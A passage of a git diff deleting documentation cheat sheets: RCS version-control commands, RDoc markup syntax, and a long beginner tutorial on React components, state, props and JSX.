+++ /dev/null
@@ -1,35 +0,0 @@
-# To initially check-in a file (leaving file active in filesystem):
-
-ci -u <filename>
-
-# To check out with lock:
-
-co -l <filename>
-
-# To check in and unlock (leaving file active in filesystem):
-
-ci -u <filename>
-
-# To display version x.y of a file:
-
-co -px.y <filename>
-
-# To undo to version x.y (overwrites file active in filesystem with the specified revision):
-
-co -rx.y <filename>
-
-# To diff file active in filesystem and last revision:
-
-rcsdiff <filename>
-
-# To diff versions x.y and x.z:
-
-rcsdiff -rx.y -rx.z <filename>
-
-# To view log of check-ins:
-
-rlog <filename>
-
-# To break an RCS lock held by another person on a file:
-
-rcs -u <filename>
diff --git a/docs/content/cheat-sheets/rdoc.md b/docs/content/cheat-sheets/rdoc.md
deleted file mode 100644
index c1b5071869..0000000000
--- a/docs/content/cheat-sheets/rdoc.md
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Rdoc
-category: Markup
----
-
-### Basic RDoc format
-
-```rb
-# Foo.
-#
-# @example
-#
-#   y
-#   g
-#
-# @param [String] param_name The xx and xx.
-#
-# @see https://example.com/
-#
-# @return [true] if so
-```
-
-### Hash parameters
-
-```rb
-# @param [Hash] opts the options to create a message with.
-# @option opts [String] :subject The subject
-# @option opts [String] :from ('nobody') From address
-# @option opts [String] :to Recipient email
-# @option opts [String] :body ('') The email's body
-```
-
-### Parameter types
-
-```rb
-# @param (see User#initialize)
-# @param [OptionParser] opts the option parser object
-# @param [Array<String>] args the arguments passed from input. This
-#   array will be modified.
-# @param [Array<String, Symbol>] list the list of strings and symbols.
-# @param [Hash<Symbol, String>] a hash with symbol keys and string values
-#
-# The options parsed out of the commandline.
-# Default options are:
-#   :format => :dot
-```
-
-### Inline
-
-```markdown
-_bold_
-_emphasized_
-+code+
-```
-
-```markdown
-https://www.example.com/
-See Models::User@Examples
-{Google}[https://google.com/]
-```
-
-### Skip
-
-```rb
-def input # :nodoc:
-```
-
-```rb
-module MyModule # :nodoc: all
-```
-
-### Definition lists
-
-```rb
-# == Definition lists
-#
-# list::  hi.
-# +foo+:: parameterized
-```
-
-```rb
-# == Definition lists
-# [foo]   also
-# [bar]   like this
-```
-
-### Return types
-
-```rb
-# @return [String]
-# @return [String, nil] the name
-```
-
-### Callseq
-
-```rb
-# :call-seq:
-#   ARGF.readlines(sep=$/)     -> array
-#   ARGF.readlines(limit)      -> array
-#   ARGF.readlines(sep, limit) -> array
-#
-#   ARGF.to_a(sep=$/)     -> array
-#   ARGF.to_a(limit)      -> array
-#   ARGF.to_a(sep, limit) -> array
-```
-
-### Category
-
-```rb
-# :category: Utilities
-```
-
-### Sections
-
-```rb
-# :section: Expiry methods
-# methods relating to expiring
-
-def expire!
-def expired?
-...
-```
-
-### Using tomdoc
-
-```rb
-# :markup: TomDoc
-```
-
-Place this at the beginning of the file.
-
-## Also see
-
-{: .-one-column}
-
--   <http://rdoc.rubyforge.org/RDoc/Markup.html>
--   <https://www.rubydoc.info/gems/yard/file/docs/GettingStarted.md>
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/react-component-guide.md b/docs/content/cheat-sheets/react-component-guide.md
deleted file mode 100644
index b5e82790f6..0000000000
--- a/docs/content/cheat-sheets/react-component-guide.md
+++ /dev/null
@@ -1,2504 +0,0 @@
-# React Component Guide
-
-## ReactJS
-
-ReactJS Cheat Sheet
-
-### React Docs
-
-## A Basic Component
-
-The key abstraction that React provides is that of a component. To reiterate, a component is some thing that is being rendered in the browser. It could be a button, a form with a bunch of fields in it, a navigation bar at the top of the page, a single input field, etc. Any of these could be its own component. React doesn't place any restrictions on how large or small a component can be. You _could_ have an entire static site encapsulated in a single React component, but that at that point you may as well not be using React. So the first thing to remember about a component is that a component must _render_ something. If nothing is being rendered from a component, then React will throw an error.
-
-Let's write the most basic of components we can possibly write. Inside of `BasicComponent.js`, first import React at the top of the file. Our most basic of components looks like this:
-
-```
-import React from 'react';
-
-const BasicComponent = () => <div>Hello World!</div>;
-
-export default BasicComponent;
-```
-
-This is a component that simply returns a div tag with the words Hello World! inside. The last line simply exports our component so that it can be imported by another file.
-
-Notice that this component looks exactly like an anonymous arrow function that we've named `BasicComponent`. In fact, that is literally what this is. Nothing more, nothing less. The arrow function then is simply returning the div tag. When a component is written as a function like this one is, it is called a _functional_ component.
-
-While a component can of course get a lot more complicated than this, fundamentally, all a component does is render some HTML.
-
-## A Basic Class Component
-
-The basic component you wrote in the previous exercise is an example of a functional component, which is appropriate since that component is literally nothing more than a function that returns some HTML. Functional components are great when all you want a component to do is to render some stuff; they are really good at doing just that.
-
-Components can also be written as classes. For this exercise, we're going to write a class component that does exactly the same thing as the functional component we just wrote. We'll again need to import React at the top of the file, but we'll also need to add a little something. Our import statement will look like this:
-
-```
-import React, { Component } from 'react';
-```
-
-So, in addition to importing React, we're also importing the base Component class that is included in the React library. The export statement at the bottom of the file also stays, completely unchanged. Our class component will thus look like this:
-
-```
-import React, { Component } from 'react';
-
-class BasicClassComponent extends Component {
-    render() {
-        return (
-            <div>Hello World!</div>
-        );
-    }
-}
-
-export default BasicClassComponent;
-```
-
-Notice that our `BasicClassComponent` inherits from the base `Component` class that we imported from the React library, by virtue of the 'extends' keyword. That being said, there's nothing in this minimal component that takes advantage of any of those inherited methods. All we have is a method on our component class called `render` that returns the same div tag.
-
-In this case, if we really were deciding between whether to use a functional component versus a class component to render a simple div tag, then the functional style is more appropriate to use. This is because class components are much better suited for handling component state and triggering events based on the component's lifecycle. Don't worry if you don't know what all these terms meant, we will get to them shortly.
-
-The important takeaways at this point are that there are two types of components, functional and class components, and that functional components are well-suited if you're just looking to render some HTML. Class components, on the other hand, are much better suited for handling components that require more complex functionality, need to exhibit more varied behavior, and/or need to keep track of some state that may change throughout said component's lifecycle.
-
-## A Class Component with Some State
-
-When we talked about class components, it was mentioned that class components can handle state. So what does that mean? Component state is any dynamic data that we want the component to keep track of. For example, let's say we have a form component. This form has some input fields that we'd like users to fill out. When a user types characters into an input field, how is that input persisted from the point of view of our form component?
-
-The answer is by using component state! There are a few important concepts regarding component state, such as how to update it, pass it to another component, render it, etc. We'll talk about all of these in a bit, but for now, let's just focus on how to add state to a class component.
-
-Only class components have the ability to persist state, so if at any time you realize that a component needs to keep track of some state, you know that you'll automatically need a class component instead of a functional component.
-
-Our class component with state will look a lot like the basic class component we just wrote, but with some extra stuff:
-
-```
-import React, { Component } from 'react';
-
-class ClassComponentWithState extends Component {
-    constructor() {
-        super();
-        this.state = {};
-    }
-
-    render() {
-        return (
-            <div>Hello World!</div>
-        );
-    }
-}
-
-export default ClassComponentWithState;
-```
-
-So far, the only new thing going on here is the constructor block. If you recall how classes in JavaScript work, classes need constructors. Additionally, if a class is extending off of another class and wants access to its parent class's methods and properties, then the `super` function needs to be called inside the class's constructor function. Point being, the constructor function and the call to the `super` function are _not_ associated with React, they are associated with all JavaScript classes.
-
-Then there is the `this.state` property inside the constructor function that is set as an empty object. We're adding a property called `state` to our class and setting it to an empty object. State objects in React are always just plain old objects.
-
-The observant student may be wondering why the basic class component we wrote in the previous exercise had no constructor function within its body. That is because we had no need for them since all our class component was doing was rendering some HTML. The constructor is needed here because that is where we need to initialize our state object. The call to `super` is needed because we can't reference `this` inside of our constructor without a call to `super` first.
-
-Ok, now let's actually use this state object. One very common application of state objects in React components is to render the data being stored inside them within our component's render function. Let's change our current class component to do that.
-
-```
-class ClassComponentWithState extends Component {
-    constructor() {
-        super();
-        this.state = {
-            someData: 8
-        };
-    }
-
-    render() {
-        return (
-            <div>{`Here's some data to render: ${this.state.someData}`}</div>
-        );
-    }
-}
-
-export default ClassComponentWithState;
-```
-
-So what's changed here? Well, we added a key-value pair to our state object inside our constructor. Then we changed the contents of the render function. Now, it's actually rendering the data that we have inside the state object. Notice that inside the div tags we're using a template string literal so that we can access the value of `this.state.someData` straight inside of our rendered content. This is a very handy piece of functionality that React provides for us when writing components.
-
-With React's newest version, we can actually now add state to a component without explicitly defining a constructor on the class. We can refactor our class component to look like this:
-
-```
-class ClassComponentWithState extends Component {
-    state = {
-        someData: 8
-    };
-
-    render() {
-        return (
-            <div>{`Here's some data to render: ${this.state.someData}`}</div>
-        );
-    }
-}
-
-export default ClassComponentWithState;
-```
-
-Our code is slightly cleaner, and doesn't require as many keystrokes as the older version. Fewer keystrokes are always a plus in my book! This new syntax is what is often referred to as 'syntactic sugar': under the hood, the React library translates this back into the old constructor code that we first started with, so that the JavaScript remains valid to the JavaScript interpreter. The clue to this is the fact that when we want to access some data from the state object, we still need to call it with `this.state.someData`; changing it to just `state.someData` does not work.
-
-While being able to write our code in this way is nice and convenient, going forward, I'm going to stick with the 'older' style of writing my React components by explicitly defining constructors so that you'll all have a better idea of what's going on under the hood. In other words, it's more "pedagogically sound". If you prefer the newer style (and I would in my own code), feel free to write your React components that way.
-
-## Class Component Updating State
-
-Great, so we can render some state that our component persists for us. However, we said an important use case of component state is to handle _dynamic_ data. A single static number isn't very dynamic at all. So now let's walk through how to update component state.
-
-```
-import React, { Component } from 'react';
-
-class ClassComponentUpdatingState extends Component {
-  constructor() {
-    super();
-    this.state = {
-      aNumber: 8
-    };
-  }
-
-  increment = () => {
-    this.setState({ aNumber: ++this.state.aNumber });
-  };
-
-  decrement = () => {
-    this.setState({ aNumber: --this.state.aNumber });
-  };
-
-  render() {
-    return (
-      <div>
-        <div>{`Our number: ${this.state.aNumber}`}</div>
-        <button onClick={this.increment}>+</button>
-        <button onClick={this.decrement}>-</button>
-      </div>
-    );
-  }
-}
-
-export default ClassComponentUpdatingState;
-```
-
-Notice that we've added two methods to our class: `increment` and `decrement`. `increment` and `decrement` are methods that _we_ are adding to our class component. Unlike the `render` method,`increment` and `decrement` were not already a part of our class component. This is why `increment` and `decrement` are written as arrow functions, so that they are automatically bound to our class component. This needs to happen so that we can call them later on. Again, there's no crazy React black magic going on here, we simply added two methods to our class.
-
-The more interesting thing is what is going on within the bodies of these methods. Each calls this funky `setState`function. `setState` in fact _is_ provided to us by React. It is the canonical way to update a component's state. Actually, it's the _only_ way you should ever update a component's state. It may seem more verbose than necessary, but there are good reasons for why you should be doing it this way. I'm not going to get into those reasons now. I'll leave a [link](https://reactjs.org/docs/react-component.html#setstate) to the official documentation on the `setState` function, although I'm pretty sure at this point it will probably just blow your mind and/or overwhelm you with jargon. So for now, take this as a case of "because I'm telling you so".
-
-So the way to use `setState` to update a component's state is to pass it an object with each of the state keys you wish to update, along with the updated value. In our `increment` method we said "I would like to update the `aNumber` property on my component state by adding one to it and then setting the new value as my new `aNumber`". The same thing happens in our `decrement` method, only we're subtracting instead of adding.
-
-Then the other new concept we're running into here is how to actually call these methods we've added to our class. We added two HTML button tags within our `render` function, then in their respective `onClick` handlers, we specify the method that should be called whenever this button gets clicked. So whenever we click either of the buttons, our state gets updated appropriately and our component will re-render to show the correct value we're expecting.
-
-## Class Component Iterating State
-
-Another common state pattern you'll see being used in React components is iterating over an array in our state object and rendering each array element in its own tag. This is often used in order to render lists.
-
-Additionally, we want to be able to easily update lists and have React re-render our updated list. We'll see how both of these are done and how they work together within a single component in order to create the behavior of a dynamic list.
-
-```
-import React, { Component } from 'react';
-
-class ClassComponentIteratingState extends Component {
-    constructor() {
-        super();
-
-        this.state = {
-            ingredients: ['flour', 'eggs', 'milk', 'sugar', 'vanilla extract'],
-            newIngredient: ''
-        };
-    }
-
-    handleIngredientInput = (event) => {
-        this.setState({ newIngredient: event.target.value });
-    };
-
-    addIngredient = (event) => {
-        event.preventDefault();
-        const ingredientsList = this.state.ingredients;
-        ingredientsList.push(this.state.newIngredient);
-        this.setState({
-            newIngredient: '',
-            ingredients: ingredientsList
-        });
-    };
-
-    render() {
-        return (
-            <div>
-                {this.state.ingredients.map(ingredient => <div>{ingredient}</div>)}
-                <form onSubmit={this.addIngredient}>
-                    <input type="text" onChange={this.handleIngredientInput} placeholder="Add a new ingredient" value={this.state.newIngredient} />
-                </form>
-            </div>
-        );
-    }
-}
-
-export default ClassComponentIteratingState;
-```
-
-The first change to note is that our state object now has an 'ingredients' array, and a 'newIngredient' field that has been initialized to an empty string. The ingredients array contains the elements that we'll want to render in our list. We'll see shortly why the newIngredient field is needed.
-
-The `addIngredient` and `handleIngredientInput` methods we've added to our class receives a parameter called 'event'. This event object is part of the browser's API. When we interact with some DOM element, such as clicking on an HTML button, the function that is invoked upon that button being clicked actually receives the event object. So when we type some input into an input tag, we're able grab each character that was typed into the input field through the event object paramter.
-
-The `handleIngredientInput` method is what gets invoked every time the user presses a key to enter text in the input box for adding a new ingredient. Every character the user types gets persisted in the `newIngredient` field on the state object. We're able to grab the text in the input box using `event.target.value`, which holds the value of the string text that is currently in the input box. We use that to update our `newIngredient` string field.
-
-Breaking down the `addIngredient` method, we see this `event.preventDefault()` invocation. This is because this method will be used upon submitting a form, and it turns out that submitting a form triggers some default form behavior that we don't want to trigger when we submit the form (namely refreshing the entire page). `event.preventDefault()` will prevent this default form behavior, meaning our form will only do what we want it to do when it is submitted.
-
-Next, we store a reference to `this.state.ingredients` in a variable called `ingredientsList`. So we now have a copy of the array that is stored in our state object. We want to update the copy of the ingredients array first instead of directly updating the actual array itself in state. This is a React best practice.
-
-Now we push whatever value is being stored at our `newIngredient` field onto the `ingredientsList` array so that our `ingredientsList` array is now more up-to-date than our `this.state.ingredients` array. So all we have to do now is call `setState` appropriately in order to update the value in our state object. Additionally, we also set the `newIngredient` field back to an empty string in order to clear out the input field once we submit a new ingredient. Now it's ready to accept more user input!
-
-Looking at our render function, first note the `this.state.ingredients.map` call. This is looping through each ingredient in our `ingredients` array and returning each one within its own div tag. This is a very common syntax for rendering everything inside an array.
-
-Then we have an HTML form which contains an input field. The purpose of this form is to allow a user to add new ingredients to the list. Note that we're passing our `addIngredient` method to the form's `onSubmit` handler. This means that our `addIngredient` method gets invoked whenever our form is submitted.
-
-Lastly, the input field has an `onChange` handler that invokes our `handleIngredientInput` method whenever there is some sort of change in the input field, namely when a user types into it. Notice that the `value` field in our input tag reads off of `this.state.newIngredient` in order to know what value to display. So when a user enters text into the input field, the `onChange` handler is invoked every time, which updates our `this.state.newIngredient` field, which the input field then renders.
-
-## Parent and Child Components
-
-Now let's get into talking about how to have components interact with each other. A single isolated component isn't going to do us much good. That being said, it's _possible_ to simply throw all of the HTML for a page into a single React component, though at that point that one component would be so bloated and monolithic that you might as well not have used React at all.
-
-The beauty of React lies in the fact that it allows us to compose modular components together. Let's start off with the component we just saw, but let's change its name to `ParentComponent`.
-
-```
-import React, { Component } from 'react';
-import ChildComponent from './ChildComponent';
-
-class ParentComponent extends Component {
-    constructor() {
-        super();
-
-        this.state = {
-            ingredients: ['flour', 'eggs', 'milk', 'sugar', 'vanilla'],
-            newIngredient: ''
-        };
-    }
-
-    handleIngredientInput = (event) => {
-        this.setState({ newIngredient: event.target.value });
-    };
-
-    addIngredient = (event) => {
-        event.preventDefault();
-        const ingredientsList = this.state.ingredients;
-        ingredientsList.push(this.state.newIngredient);
-        this.setState({
-            newIngredient: '',
-            ingredients: ingredientsList
-        });
-    };
-
-    render() {
-        return (
-            <div>
-                {this.state.ingredients.map(ingredient => <ChildComponent thing={ingredient} />)}
-                <form onSubmit={this.addIngredient}>
-                    <input type="text" onChange={this.handleIngredientInput} placeholder="Add a new ingredient" value={this.state.newIngredient} />
-                </form>
-            </div>
-        );
-    }
-}
-
-export default ParentComponent;
-```
-
-The only two other differences in this component are that we're importing a `ChildComponent` and then using it inside our `this.state.ingredients.map` call. `ChildComponent` is another React component. Notice that we're using it just as if it were any other HTML tag. This is how we lay out our component hierarchy: the ChildComponent is rendered within the ParentComponent. We can see this to be the case if we open up the developer console and inspect these elements.
-
-Note also that we're passing each ingredient as a 'thing' to the ChildComponent component. This is how a parent component passes data to a child component. It doesn't need to be called 'thing'; you can call it whatever you want. Conceptually though, every piece of data that a parent component passes down to a child component is called a 'prop' in React lingo.
-
-Let's take a look now at the Child Component. It serves two purposes: 1) to render the props data that it gets from a parent component, and 2) to add the ability for a user to click on it and have it toggle a strikethrough, indicating that the item is 'complete'.
-
-```
-import React, { Component } from 'react';
-
-class ChildComponent extends Component {
-  constructor() {
-    super();
-    this.state = {
-      clicked: false
-    };
-  }
-
-  handleClick = () => {
-    this.setState({ clicked: !this.state.clicked });
-  };
-
-  render() {
-    const styles = this.state.clicked ? { textDecoration: 'line-through'} : { textDecoration: 'none' };
-    return (
-      <div style={styles} onClick={this.handleClick}>{this.props.thing}</div>
-    );
-  }
-}
-
-export default ChildComponent;
-```
-
-The overall structure of the child component is nothing we haven't seen. It's just another class component with its own state object and a method called `handleClick`.
-
-A component accesses its props via the `this.props` object. Any prop a parent component passes down to a child component is accessible inside the child component's `this.prop` object.
-
-So our child component keeps its own state that tracks whether the component has been clicked or not. Then at the top of the `render` function, it uses a ternary condition to determine whether the div tag that is being rendered should have a strikethrough or not. The `handleClick` method is then invoked via an `onClick` handler on the div tag; it does the work of toggling the `this.state.clicked` boolean.
-
-The overall structure of React applications can be represented as a hierarchical tree structure, just like how the DOM itself is structure. There is an overarching root component at the top of the hierarchy that every other component sits underneath. Specifying that a component should be a child of some parent component is as simple as throwing it in the parent component's render function, just like how we did it in this example.
-
-## **Hello World**
-
-## The smallest React example looks like this:
-
-```
-ReactDOM.render(
-  <h1>Hello, world!</h1>,
-  document.getElementById('root')
-);
-```
-
-It displays a heading saying "Hello, world!" on the page.
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/hello-world)
-
-[https://codepen.io/bgoonz/pen/wveBJBM](https://codepen.io/bgoonz/pen/wveBJBM)
-
-Click the link above to open an online editor. Feel free to make some changes, and see how they affect the output. Most pages in this guide will have editable examples like this one.
-
-## How to Read This Guide
-
-In this guide, we will examine the building blocks of React apps: elements and components. Once you master them, you can create complex apps from small reusable pieces.
-
-> TipThis guide is designed for people who prefer learning concepts step by step. If you prefer to learn by doing, check out our practical tutorial. You might find this guide and the tutorial complementary to each other.
-
-This is the first chapter in a step-by-step guide about main React concepts. You can find a list of all its chapters in the navigation sidebar. If you're reading this from a mobile device, you can access the navigation by pressing the button in the bottom right corner of your screen.
-
-Every chapter in this guide builds on the knowledge introduced in earlier chapters. **You can learn most of React by reading the "Main Concepts" guide chapters in the order they appear in the sidebar.** For example, ["Introducing JSX"](https://reactjs.org/docs/introducing-jsx.html) is the next chapter after this one.
-
-## Knowledge Level Assumptions
-
-React is a JavaScript library, and so we'll assume you have a basic understanding of the JavaScript language. **If you don't feel very confident, we recommend** [**going through a JavaScript tutorial**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript) **to check your knowledge level** and enable you to follow along this guide without getting lost. It might take you between 30 minutes and an hour, but as a result you won't have to feel like you're learning both React and JavaScript at the same time.
-
-> NoteThis guide occasionally uses some newer JavaScript syntax in the examples. If you haven't worked with JavaScript in the last few years, these three points should get you most of the way.
-
-## **Introducing JSX**
-
-## Consider this variable declaration:
-
-```
-const element = <h1>Hello, world!</h1>;
-```
-
-This funny tag syntax is neither a string nor HTML.
-
-It is called JSX, and it is a syntax extension to JavaScript. We recommend using it with React to describe what the UI should look like. JSX may remind you of a template language, but it comes with the full power of JavaScript.
-
-JSX produces React "elements". We will explore rendering them to the DOM in the [next section](https://reactjs.org/docs/rendering-elements.html). Below, you can find the basics of JSX necessary to get you started.
-
-## Why JSX?
-
-React embraces the fact that rendering logic is inherently coupled with other UI logic: how events are handled, how the state changes over time, and how the data is prepared for display.
-
-Instead of artificially separating _technologies_ by putting markup and logic in separate files, React [separates _concerns_](https://en.wikipedia.org/wiki/Separation_of_concerns) with loosely coupled units called "components" that contain both. We will come back to components in a [further section](https://reactjs.org/docs/components-and-props.html), but if you're not yet comfortable putting markup in JS, [this talk](https://www.youtube.com/watch?v=x7cQ3mrcKaY) might convince you otherwise.
-
-React [doesn't require](https://reactjs.org/docs/react-without-jsx.html) using JSX, but most people find it helpful as a visual aid when working with UI inside the JavaScript code. It also allows React to show more useful error and warning messages.
-
-With that out of the way, let's get started!
-
-## Embedding Expressions in JSX
-
-In the example below, we declare a variable called `name` and then use it inside JSX by wrapping it in curly braces:
-
-```
-const name = 'Josh Perez';const element = <h1>Hello, {name}</h1>;
-ReactDOM.render(
-  element,
-  document.getElementById('root')
-);
-```
-
-You can put any valid [JavaScript expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions) inside the curly braces in JSX. For example, `2 + 2`, `user.firstName`, or `formatName(user)` are all valid JavaScript expressions.
-
-In the example below, we embed the result of calling a JavaScript function, `formatName(user)`, into an `<h1>` element.
-
-```
-function formatName(user) {
-  return user.firstName + ' ' + user.lastName;
-}
-
-const user = {
-  firstName: 'Harper',
-  lastName: 'Perez'
-};
-
-const element = (
-  <h1>    Hello, {formatName(user)}!  </h1>);
-
-ReactDOM.render(
-  element,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/introducing-jsx)
-
-[https://codepen.io/bgoonz/pen/oNwgZgm](https://codepen.io/bgoonz/pen/oNwgZgm)
-
-We split JSX over multiple lines for readability. While it isn't required, when doing this, we also recommend wrapping it in parentheses to avoid the pitfalls of [automatic semicolon insertion](https://stackoverflow.com/q/2846283).
-
-## JSX is an Expression Too
-
-After compilation, JSX expressions become regular JavaScript function calls and evaluate to JavaScript objects.
-
-This means that you can use JSX inside of `if` statements and `for` loops, assign it to variables, accept it as arguments, and return it from functions:
-
-```
-function getGreeting(user) {
-  if (user) {
-    return <h1>Hello, {formatName(user)}!</h1>;  }
-  return <h1>Hello, Stranger.</h1>;}
-```
-
-## Specifying Attributes with JSX
-
-You may use quotes to specify string literals as attributes:
-
-```
-const element = <div tabIndex="0"></div>;
-```
-
-You may also use curly braces to embed a JavaScript expression in an attribute:
-
-```
-const element = <img src={user.avatarUrl}></img>;
-```
-
-Don't put quotes around curly braces when embedding a JavaScript expression in an attribute. You should either use quotes (for string values) or curly braces (for expressions), but not both in the same attribute.
-
-> Warning:Since JSX is closer to JavaScript than to HTML, React DOM uses camelCase property naming convention instead of HTML attribute names.For example, class becomes className in JSX, and tabindex becomes tabIndex.
-
-## Specifying Children with JSX
-
-If a tag is empty, you may close it immediately with `/>`, like XML:
-
-```
-const element = <img src={user.avatarUrl} />;
-```
-
-JSX tags may contain children:
-
-```
-const element = (
-  <div>
-    <h1>Hello!</h1>
-    <h2>Good to see you here.</h2>
-  </div>);
-```
-
-## JSX Prevents Injection Attacks
-
-It is safe to embed user input in JSX:
-
-```
-const title = response.potentiallyMaliciousInput;
-// This is safe:
-const element = <h1>{title}</h1>;
-```
-
-By default, React DOM [escapes](https://stackoverflow.com/questions/7381974/which-characters-need-to-be-escaped-on-html) any values embedded in JSX before rendering them. Thus it ensures that you can never inject anything that's not explicitly written in your application. Everything is converted to a string before being rendered. This helps prevent [XSS (cross-site-scripting)](https://en.wikipedia.org/wiki/Cross-site_scripting) attacks.
-
-## JSX Represents Objects
-
-Babel compiles JSX down to `React.createElement()` calls.
-
-These two examples are identical:
-
-```
-const element = (
-  <h1 className="greeting">
-    Hello, world!
-  </h1>);
-```
-
-```
-const element = React.createElement(
-  'h1',
-  {className: 'greeting'},
-  'Hello, world!'
-);
-```
-
-`React.createElement()` performs a few checks to help you write bug-free code but essentially it creates an object like this:
-
-```
-// Note: this structure is simplified
-const element = {
-  type: 'h1',
-  props: {
-    className: 'greeting',
-    children: 'Hello, world!'
-  }
-};
-```
-
-These objects are called "React elements". You can think of them as descriptions of what you want to see on the screen. React reads these objects and uses them to construct the DOM and keep it up to date.
-
-We will explore rendering React elements to the DOM in the [next section](https://reactjs.org/docs/rendering-elements.html).
-
-> Tip:We recommend using the "Babel" language definition for your editor of choice so that both ES6 and JSX code is properly highlighted.
-
-## **Rendering Elements**
-
-## Elements are the smallest building blocks of React apps.
-
-An element describes what you want to see on the screen:
-
-`const element = <h1>Hello, world</h1>;`
-
-Unlike browser DOM elements, React elements are plain objects, and are cheap to create. React DOM takes care of updating the DOM to match the React elements.
-
-> Note:One might confuse elements with a more widely known concept of "components". We will introduce components in the next section. Elements are what components are "made of", and we encourage you to read this section before jumping ahead.
-
-## Rendering an Element into the DOM
-
-Let's say there is a `<div>` somewhere in your HTML file:
-
-```
-<div id="root"></div>
-```
-
-We call this a "root" DOM node because everything inside it will be managed by React DOM.
-
-Applications built with just React usually have a single root DOM node. If you are integrating React into an existing app, you may have as many isolated root DOM nodes as you like.
-
-To render a React element into a root DOM node, pass both to `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)`:
-
-```
-const element = <h1>Hello, world</h1>;
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/rendering-elements/render-an-element)
-
-[https://codepen.io/bgoonz/pen/mdwyWeb?editors=0010](https://codepen.io/bgoonz/pen/mdwyWeb?editors=0010)
-
-It displays "Hello, world" on the page.
-
-## Updating the Rendered Element
-
-React elements are [immutable](https://en.wikipedia.org/wiki/Immutable_object). Once you create an element, you can't change its children or attributes. An element is like a single frame in a movie: it represents the UI at a certain point in time.
-
-With our knowledge so far, the only way to update the UI is to create a new element, and pass it to `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)`.
-
-Consider this ticking clock example:
-
-```
-function tick() {
-  const element = (
-    <div>      <h1>Hello, world!</h1>      <h2>It is {new Date().toLocaleTimeString()}.</h2>    </div>);
-  ReactDOM.render(element, document.getElementById('root'));}
-
-setInterval(tick, 1000);
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/rendering-elements/update-rendered-element)
-
-[https://codepen.io/bgoonz/pen/eYRmvNy?editors=0010](https://codepen.io/bgoonz/pen/eYRmvNy?editors=0010)
-
-It calls `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)` every second from a `[setInterval()](<https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval>)` callback.
-
-> Note:In practice, most React apps only call ReactDOM.render() once. In the next sections we will learn how such code gets encapsulated into stateful components.We recommend that you don't skip topics because they build on each other.
-
-## React Only Updates What's Necessary
-
-React DOM compares the element and its children to the previous one, and only applies the DOM updates necessary to bring the DOM to the desired state.
-
-You can verify by inspecting the [last example](https://reactjs.org/redirect-to-codepen/rendering-elements/update-rendered-element) with the browser tools:
-
-![https://reactjs.org/c158617ed7cc0eac8f58330e49e48224/granular-dom-updates.gif](https://reactjs.org/c158617ed7cc0eac8f58330e49e48224/granular-dom-updates.gif)
-
-Even though we create an element describing the whole UI tree on every tick, only the text node whose contents have changed gets updated by React DOM.
-
-In our experience, thinking about how the UI should look at any given moment, rather than how to change it over time, eliminates a whole class of bugs.
-
-## **Components and Props**
-
-## Components let you split the UI into independent, reusable pieces, and think about each piece in isolation. This page provides an introduction to the idea of components. You can find a [detailed component API reference here](https://reactjs.org/docs/react-component.html).
-
-Conceptually, components are like JavaScript functions. They accept arbitrary inputs (called "props") and return React elements describing what should appear on the screen.
-
-## Function and Class Components
-
-The simplest way to define a component is to write a JavaScript function:
-
-```
-function Welcome(props) {
-  return <h1>Hello, {props.name}</h1>;
-}
-```
-
-This function is a valid React component because it accepts a single "props" (which stands for properties) object argument with data and returns a React element. We call such components "function components" because they are literally JavaScript functions.
-
-You can also use an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes) to define a component:
-
-```
-class Welcome extends React.Component {
-  render() {
-    return <h1>Hello, {this.props.name}</h1>;
-  }
-}
-```
-
-The above two components are equivalent from React's point of view.
-
-Function and Class components both have some additional features that we will discuss in the [next sections](https://reactjs.org/docs/state-and-lifecycle.html).
-
-## Rendering a Component
-
-Previously, we only encountered React elements that represent DOM tags:
-
-```
-const element = <div />;
-```
-
-However, elements can also represent user-defined components:
-
-```
-const element = <Welcome name="Sara" />;
-```
-
-When React sees an element representing a user-defined component, it passes JSX attributes and children to this component as a single object. We call this object "props".
-
-For example, this code renders "Hello, Sara" on the page:
-
-```
-function Welcome(props) {  return <h1>Hello, {props.name}</h1>;
-}
-
-const element = <Welcome name="Sara" />;ReactDOM.render(
-  element,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/components-and-props/rendering-a-component)
-
-[https://codepen.io/bgoonz/pen/QWgwpjd?editors=0010](https://codepen.io/bgoonz/pen/QWgwpjd?editors=0010)
-
-Let's recap what happens in this example:
-
-1. We call `ReactDOM.render()` with the `<Welcome name="Sara" />` element.
-2. React calls the `Welcome` component with `{name: 'Sara'}` as the props.
-3. Our `Welcome` component returns a `<h1>Hello, Sara</h1>` element as the result.
-4. React DOM efficiently updates the DOM to match `<h1>Hello, Sara</h1>`.
-
-> Note: Always start component names with a capital letter.React treats components starting with lowercase letters as DOM tags. For example,
->
-> represents an HTML div tag, but represents a component and requires Welcome to be in [scope.To](http://scope.to) learn more about the reasoning behind this convention, please read JSX In Depth.
-
-## Composing Components
-
-Components can refer to other components in their output. This lets us use the same component abstraction for any level of detail. A button, a form, a dialog, a screen: in React apps, all those are commonly expressed as components.
-
-For example, we can create an `App` component that renders `Welcome` many times:
-
-```
-function Welcome(props) {
-  return <h1>Hello, {props.name}</h1>;
-}
-
-function App() {
-  return (
-    <div>      <Welcome name="Sara" />      <Welcome name="Cahal" />      <Welcome name="Edite" />    </div>);
-}
-
-ReactDOM.render(
-  <App />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/components-and-props/composing-components)
-
-[https://codepen.io/bgoonz/pen/LYLEWNq?editors=0010](https://codepen.io/bgoonz/pen/LYLEWNq?editors=0010)
-
